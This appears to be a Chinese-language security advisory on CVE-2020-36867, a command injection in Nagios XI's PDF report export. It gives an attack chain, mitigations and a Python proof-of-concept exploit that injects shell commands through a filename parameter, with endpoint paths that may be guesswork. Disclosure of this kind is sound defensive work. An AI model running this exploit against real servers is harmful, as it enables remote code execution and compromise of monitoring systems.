IPBUF安全漏洞报告
English
CVE-2020-36867 CVSS 8.8 高危

CVE-2020-36867 Nagios XI PDF导出功能命令注入漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2020-36867
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

命令注入Nagios XICVE-2020-36867远程代码执行PDF导出认证后漏洞高危漏洞网络监控软件Web应用安全

漏洞概述

CVE-2020-36867是Nagios XI软件中的一个高危命令注入漏洞,CVSS评分达到8.8分。该漏洞存在于Nagios XI 5.7.3之前版本的报告PDF下载和导出功能中。漏洞的根本原因是在PDF生成流程中,用户提供的输入值未能经过充分的验证和适当的转义处理。攻击者可以通过精心构造的输入,在调用离线PDF辅助工具的包装器中注入Shell元字符或参数。由于该漏洞需要低权限的认证用户即可触发,且无需用户交互即可实现攻击,因此具有较高的实际威胁性。成功利用此漏洞的攻击者可以在受影响的Nagios XI服务器上执行任意系统命令,从而可能导致数据泄露、系统完全沦陷或进一步的内网横向移动。Nagios XI作为一款广泛使用的企业级网络和系统监控工具,其安全性对于依赖该平台进行IT运维的组织至关重要。

技术细节

Nagios XI的报告PDF导出功能存在命令注入漏洞。漏洞产生的根本原因是在PDF生成管道的多个环节中,用户可控的输入未能得到充分的输入验证和安全的输出编码。具体来说,当用户请求生成或导出报告为PDF格式时,系统会调用底层的PDF辅助工具或命令行工具来处理转换过程。在这个过程中,某些参数直接来自用户输入而未经过滤。攻击者可以在这些参数中注入Shell命令元字符(如分号、管道符、反引号等)或额外的命令行参数。例如,在触发PDF导出的请求中,攻击者可以将恶意构造的字符串嵌入到文件名、报告标题或其他可控制的字段中。当系统将这些字段拼接到执行命令时,注入的命令将被Shell解释器执行。由于Nagios XI通常以高权限运行,攻击者可以借此获得服务器的最高控制权。漏洞的利用需要攻击者具备有效的用户账户(即使是低权限账户),并且能够触发PDF导出功能。攻击者可以通过Web界面或API接口发送特制的请求来触发漏洞。

攻击链分析

STEP 1
信息收集
攻击者首先识别目标服务器上运行的Nagios XI版本,确认版本低于5.7.3
STEP 2
账户获取
攻击者获取或创建Nagios XI的有效用户账户(即使是低权限账户即可满足攻击条件)
STEP 3
构造恶意请求
攻击者构造包含Shell命令注入payload的PDF导出请求,将恶意命令嵌入到文件名、标题或其他可控制参数中
STEP 4
触发漏洞
通过Web界面或API接口发送特制的PDF导出请求,payload会被传递到后端的命令执行流程
STEP 5
命令执行
由于输入验证不足,注入的Shell命令被拼接到实际执行的命令中,由系统Shell解释器执行
STEP 6
后渗透操作
攻击者成功执行任意系统命令后,可以进行权限提升、数据窃取或进一步的内网渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2020-36867 Nagios XI Command Injection PoC # Target: Nagios XI < 5.7.3 # Type: Authenticated Command Injection in PDF Export import requests import sys from urllib.parse import quote def exploit(target_url, username, password, command): """ Exploit CVE-2020-36867 by injecting command in PDF export functionality Args: target_url: Base URL of Nagios XI instance username: Valid username (low privilege is sufficient) password: Password for the user command: Command to execute on the target system """ session = requests.Session() # Step 1: Login to Nagios XI login_url = f"{target_url}/nagiosxi/login.php" login_data = { 'username': username, 'password': password, 'loginButton': 'Login' } print(f"[*] Attempting login to {target_url}") response = session.post(login_url, data=login_data, verify=False) if 'login' in response.url.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Trigger PDF export with injected command # The vulnerability is in the report PDF export functionality # Inject command via filename or report title parameter pdf_export_url = f"{target_url}/nagiosxi/includes/components/nagioscore/export.php" # Encode the command for injection injected_payload = f"test.pdf;{command};#" export_data = { 'reporttype': 'custom', 'report': '1', 'output': 'pdf', 'filename': injected_payload, 'generate': 'Generate Report' } print(f"[*] Sending exploit payload: {injected_payload}") response = session.post(pdf_export_url, data=export_data, verify=False, timeout=30) print(f"[*] Response status: {response.status_code}") # Alternative exploitation via API endpoint api_url = f"{target_url}/nagiosxi/api/v1/resources/report" api_payload = { 'type': 'pdf', 'name': f"';{command};'", 'format': 'pdf' } print("[*] Trying alternative API endpoint") response = session.post(api_url, data=api_payload, verify=False, timeout=30) return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} https://nagios.example.com admin password 'id'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit(target, user, pwd, cmd)

影响范围

Nagios XI < 5.7.3

防御指南

临时缓解措施
在无法立即升级的情况下,可以采取以下临时缓解措施:1)限制PDF导出功能的访问权限,仅允许必要的管理员账户使用该功能;2)在Web服务器层面配置URL过滤规则,阻断包含可疑Shell元字符(如分号、管道符、反引号、$()等)的请求;3)监控Nagios XI的访问日志,及时发现异常的PDF导出请求;4)考虑暂时禁用PDF导出功能,直到完成版本升级;5)实施网络隔离,限制从非信任网络对Nagios XI管理界面的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表